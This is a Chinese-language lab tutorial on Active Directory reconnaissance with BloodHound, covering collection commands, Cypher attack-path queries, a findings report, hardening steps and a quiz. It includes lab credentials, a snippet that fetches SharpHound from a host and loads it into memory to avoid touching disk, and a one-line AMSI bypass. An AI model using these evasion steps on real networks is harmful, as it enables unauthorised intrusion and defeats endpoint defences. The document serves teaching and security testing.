今天我們要學習 Active Directory 滲透測試的神兵利器:BloodHound。個工具可以讓我們看見所有事物的關聯,BloodHound 能幫我們看見整個網域的權限關係,找出通往 Domain Admin 的最短路徑。這是每個紅隊成員必須精通的工具!
在完成今天的實作後,你將能夠:
在開始之前,確保已經完成:
samwell.tarly:Heartsbane
brandon.stark:iseedeadpeople
jon.snow:iknownothing
/etc/hosts
檔案已設定# 更新 apt 工具
sudo apt update
# 安裝 BloodHound 和 Neo4j
sudo apt install bloodhound neo4j -y
python3 -m venv ~/bloodhound-env
source ~/bloodhound-env/bin/activate
# 安裝 Python 收集器
pip3 install bloodhound
# 或從 GitHub 安裝最新版
git clone https://github.com/fox-it/BloodHound.py
cd BloodHound.py
python3 setup.py install
# 下載 SharpHound(.NET 收集器)
wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe
##理解 BloodHound 架構
資料流向從收集層的 JSON 格式資料上傳到 Neo4j 資料庫,再通過 Cypher 查詢語言與 GUI 互動,最終呈現視覺化的攻擊路徑分析結果。
組件 | 功能 | 運作環境 | 優缺點 |
---|---|---|---|
BloodHound.py | Python 資料收集器 | Linux/Mac | ✅ 跨平台 ❌ 功能較少 |
SharpHound | .NET 資料收集器 | Windows | ✅ 功能完整 ❌ 需在目標上執行 |
Neo4j | 圖形資料庫 | 伺服器端 | 儲存關係資料 |
BloodHound GUI | 視覺化介面 | 客戶端 | 分析和查詢 |
收集方法 | Python 支援 | .NET 支援 | 所需權限 | 隱密性 |
---|---|---|---|---|
Default | ✅ | ✅ | Domain User | 高 |
All | ✅ | ✅ | Domain User | 低 |
DCOnly | ✅ | ✅ | Domain User | 高 |
Session | ❌ | ✅ | Local Admin | 低 |
LoggedOn | ✅ | ✅ | Local Admin | 中 |
GPO | ❌ | ✅ | Domain User | 高 |
讓我們先從 north.sevenkingdoms.local
開始:
# 寫入 /etc/hosts
echo "192.168.139.11 winterfell.north.sevenkingdoms.local winterfell" | sudo tee -a /etc/hosts
# 使用 brandon.stark 憑證收集 north 網域
bloodhound-python --zip -c All \
-d north.sevenkingdoms.local \
-u brandon.stark \
-p iseedeadpeople \
-dc winterfell.north.sevenkingdoms.local \
-ns 192.168.139.11
參數說明:
--zip
:將輸出打包成 ZIP 檔案-c All
:收集所有類型的資料-d
:目標網域-u
:使用者名稱-p
:密碼-dc
:Domain Controller IP 或主機名稱預期輸出:
INFO: Getting TGT for user
INFO: Connecting to LDAP server: winterfell.north.sevenkingdoms.local
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 2 computers
INFO: Connecting to GC LDAP server: winterfell.north.sevenkingdoms.local
INFO: Connecting to LDAP server: winterfell.north.sevenkingdoms.local
INFO: Found 17 users
INFO: Found 51 groups
INFO: Found 3 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 1 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: castelblack.north.sevenkingdoms.local
INFO: Querying computer: winterfell.north.sevenkingdoms.local
INFO: Done in 00M 01S
INFO: Compressing output into 20250919093122_bloodhound.zip
# 新增 all domain controllers
echo "192.168.139.10 kingslanding.sevenkingdoms.local kingslanding" | sudo tee -a /etc/hosts
echo "192.168.139.11 winterfell.north.sevenkingdoms.local winterfell" | sudo tee -a /etc/hosts
echo "192.168.139.12 meereen.essos.local meereen" | sudo tee -a /etc/hosts
現在收集其他網域的資料:
# 收集 sevenkingdoms.local(父網域)
bloodhound-python --zip -c All \
-d sevenkingdoms.local \
-u brandon.stark@north.sevenkingdoms.local \
-p iseedeadpeople \
-dc kingslanding.sevenkingdoms.local \
-ns 192.168.139.10
# 收集 essos.local(外部信任)
bloodhound.py --zip -c All \
-d essos.local \
-u brandon.stark@north.sevenkingdoms.local \
-p iseedeadpeople \
-dc meereen.essos.local
重要提示:注意使用者名稱格式變成 brandon.stark@north.sevenkingdoms.local
,這是跨網域認證的關鍵!
Python 收集器不支援以下功能:
這些資訊需要使用 .NET 收集器!
# 使用 xfreerdp 連線到 CASTELBLACK
sudo apt install freerdp3-x11
xfreerdp3 /v:192.168.139.22 /u:jon.snow /p:iknownothing /d:north /cert:ignore
# 或使用 rdesktop
rdesktop -u jon.snow -p iknownothing -d north 192.168.139.22
在 Windows 上開啟 PowerShell:
Invoke-WebRequest -Uri "https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe" -OutFile "SharpHound.exe"
# 收集 north.sevenkingdoms.local
.\sharphound.exe -d north.sevenkingdoms.local -c all `
--zipfilename bh_north_sevenkingdoms.zip
# 收集 sevenkingdoms.local
.\sharphound.exe -d sevenkingdoms.local -c all `
--zipfilename bh_sevenkingdoms.zip
# 收集 essos.local
.\sharphound.exe -d essos.local -c all `
--zipfilename bh_essos.zip
如果想要完全在記憶體中執行,避免落地:
# 下載並載入到記憶體
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.139.136/SharpHound.exe')
$assem = [System.Reflection.Assembly]::Load($data)
# 執行 SharpHound
[Sharphound.Program]::Main("-d north.sevenkingdoms.local -c all".Split())
注意:如果 Windows Defender 啟用,需要先繞過 AMSI:
# AMSI 繞過
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# 啟動 neo4j
sudo neo4j console
# 首次登入時,訪問 http://localhost:7474
# 預設帳密:neo4j/neo4j
# 會要求更改密碼
# 在另一個終端機啟動 BloodHound
bloodhound
# 登入資訊
# URL: bolt://localhost:7687
# Username: neo4j
# Password: <你設定的密碼>
cat /etc/bhapi/bhapi.json
sudo vim /etc/bhapi/bhapi.json
也要改密碼 admin/admin
http://127.0.0.1:8080/ui/administration/file-ingest
# 停止 BloodHound CE
sudo pkill -f bhapi
sudo pkill -f bloodhound
# 停止 Neo4j
sudo neo4j stop
# 或
sudo pkill -f neo4j
# 下載 BloodHound Legacy
cd ~/Downloads
wget https://github.com/BloodHoundAD/BloodHound/releases/download/4.2.0/BloodHound-linux-x64.zip
unzip -o BloodHound-4.2.0-linux-x64.zip
cd BloodHound-linux-x64
chmod +x BloodHound
./BloodHound --no-sandbox --disable-gpu
sudo neo4j start
右邊可以上傳檔案
我最終用舊版才能使用
顯示所有網域和電腦:
MATCH p = (d:Domain)-[r:Contains*1..]->(n:Computer)
RETURN p
顯示所有使用者:
MATCH p = (d:Domain)-[r:Contains*1..]->(n:User)
RETURN p
網域、群組、使用者的整體關係:
MATCH q = (d:Domain)-[r:Contains*1..]->(n:Group)<-[s:MemberOf]-(u:User)
RETURN q
查看使用者 ACL 權限(排除系統帳號):
MATCH p=(u:User)-[r1]->(n)
WHERE r1.isacl=true
AND NOT toLower(u.name) CONTAINS 'vagrant'
AND NOT toLower(u.name) CONTAINS 'healthmailbox'
RETURN p
尋找到 Domain Admin 的最短路徑:
MATCH (n:User {name:"BRANDON.STARK@NORTH.SEVENKINGDOMS.LOCAL"}),
(m:Group {name:"DOMAIN ADMINS@NORTH.SEVENKINGDOMS.LOCAL"}),
p=shortestPath((n)-[*1..]->(m))
RETURN p
找出所有本地管理員:
MATCH p=(u:User)-[:AdminTo]->(c:Computer)
RETURN p
找出可以 RDP 的使用者:
MATCH p=(u:User)-[:CanRDP]->(c:Computer)
RETURN p
找出可以執行 DCSync 的使用者:
MATCH p=(:User)-[:DCSync|AllExtendedRights|GenericAll]->(:Domain)
RETURN p
找出具有危險權限的使用者:
MATCH p=(u:User)-[r:Owns|WriteDacl|GenericAll|WriteOwner|ExecuteDCOM|GenericWrite|AllowedToDelegate|ForceChangePassword]->(n:Computer)
RETURN p
# 移除不必要的本地管理員
Remove-LocalGroupMember -Group "Administrators" `
-Member "NORTH\jon.snow"
# 移除危險的 ACL
Remove-ADPermission -Identity "CN=sql_svc,CN=Users,DC=north,DC=sevenkingdoms,DC=local" `
-User "NORTH\jon.snow" -AccessRights GenericAll
監控以下行為:
根據 BloodHound 收集的資料,以下是對目標 Active Directory 環境的完整分析報告。
網域架構:
SEVENKINGDOMS.LOCAL
(功能層級 2016)NORTH.SEVENKINGDOMS.LOCAL
(功能層級 2016)ESSOS.LOCAL
(功能層級 2016)Domain Admin 分布:
嚴重性:極高
發現 10 個使用者擁有 DCSync 權限,可直接複製網域控制站的密碼雜湊:
ADMINISTRATOR@SEVENKINGDOMS.LOCAL
可對子網域執行 DCSync嚴重性:高
識別出 8 個設定 SPN 的帳號可被 Kerberoasting 攻擊:
SQL_SVC@ESSOS.LOCAL
- SQL 服務帳號通常使用弱密碼JON.SNOW@NORTH.SEVENKINGDOMS.LOCAL
- 一般使用者帳號設定 SPN 極不尋常SANSA.STARK@NORTH.SEVENKINGDOMS.LOCAL
- HTTP 服務可能暴露敏感資訊建議立即檢查這些帳號的密碼強度。
嚴重性:中
發現 2 個帳號未要求 Kerberos 預先驗證:
MISSANDEI@ESSOS.LOCAL
BRANDON.STARK@NORTH.SEVENKINGDOMS.LOCAL
攻擊者無需任何憑證即可請求這些帳號的加密票證進行離線破解。
BRANDON.STARK@NORTH.SEVENKINGDOMS.LOCAL
(ASREPRoastable)GenericAll 權限濫用:
STANNIS.BARATHEON
對 KINGSLANDING.SEVENKINGDOMS.LOCAL
擁有完全控制權LORD.VARYS
對 AdminSDHolder 容器擁有 GenericAll(影響所有特權群組)MISSANDEI
和 KHAL.DROGO
形成權限鏈,可能導致橫向移動特殊權限:
JON.SNOW
擁有 AllowedToDelegate 權限,可執行委派攻擊密碼政策強化
權限最小化
服務帳號管理
實施分層管理模型
監控與稽核
信任關係檢視
基於分析結果,建議進行以下攻擊模擬以驗證風險:
目前的 AD 環境存在多個高風險配置,特別是過度的 DCSync 權限和易受攻擊的服務帳號。建議立即執行上述安全加固措施,並建立持續的 AD 安全監控機制。
最關鍵的發現是 Brandon Stark 的攻擊路徑,該帳號同時具備 ASREPRoastable 弱點且距離 Domain Admin 僅 6 步,應列為最高優先處理項目。
-- 快速查詢
-- 所有 Domain Admins
MATCH (g:Group) WHERE g.name =~ ".*DOMAIN ADMINS.*" RETURN g
-- 最短攻擊路徑
MATCH p=shortestPath((u:User {name:"<USER>"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@<DOMAIN>"})) RETURN p
-- 所有具有 DCSync 權限的主體
MATCH p=(n)-[:DCSync|GetChanges|GetChangesAll]->(:Domain) RETURN p
-- 找出所有電腦的本地管理員
MATCH p=(u:User)-[:AdminTo]->(c:Computer) RETURN u.name, COLLECT(c.name)
-- 跨網域攻擊路徑
MATCH p=(u:User)-[*1..]->(g:Group) WHERE u.domain<>g.domain RETURN p
為什麼 BloodHound 比傳統掃描工具更強大?
如何防止 BloodHound 收集?
BloodHound 資料的時效性問題?
A. MySQL 關聯式資料庫
B. MongoDB 文件資料庫
C. Neo4j 圖形資料庫
D. PostgreSQL 關聯式資料庫
答案:C
解析:BloodHound 使用 Neo4j 圖形資料庫,因為它最適合儲存和查詢複雜的關係資料。圖形資料庫能夠高效地處理節點(使用者、電腦、群組)之間的關係(成員、權限、信任)。
A. 執行速度更快
B. 支援 GPO 和本地群組資訊收集
C. 可以在 Linux 上執行
D. 不需要網域憑證
答案:B
解析:SharpHound(.NET 收集器)支援完整的收集方法,包括 GPO、本地管理員群組、Session 等資訊,而 Python 收集器不支援這些功能。這是因為某些 Windows API 只能從 Windows 系統呼叫。
A. MATCH (u:User) WHERE u.enabled=true RETURN u
B. MATCH (u:User) WHERE u.hasspn=true RETURN u
C. MATCH (u:User) WHERE u.admincount=1 RETURN u
D. MATCH (u:User) WHERE u.passwordnotreqd=true RETURN u
答案:B
解析:hasspn=true
屬性表示使用者帳號設定了 Service Principal Name (SPN),這是執行 Kerberoasting 的必要條件。其他選項分別表示:啟用的帳號、管理員帳號、不需要密碼的帳號。
A. CanRDP
B. ForceChangePassword
C. WriteDacl
D. GenericAll
答案:B
解析:ForceChangePassword
明確表示有權限強制變更目標的密碼。雖然 GenericAll
也包含此權限(因為是完全控制),但 ForceChangePassword
是最直接對應的邊關係。
bloodhound.py -c All
時,哪項資訊無法收集?A. 網域使用者和群組
B. 網域信任關係
C. 電腦物件
D. 本地管理員群組成員
答案:D
解析:Python 收集器的限制之一是無法收集本地管理員群組成員資訊,這需要查詢每台電腦的本地 SAM 資料庫,必須使用 SharpHound 在 Windows 上執行才能取得。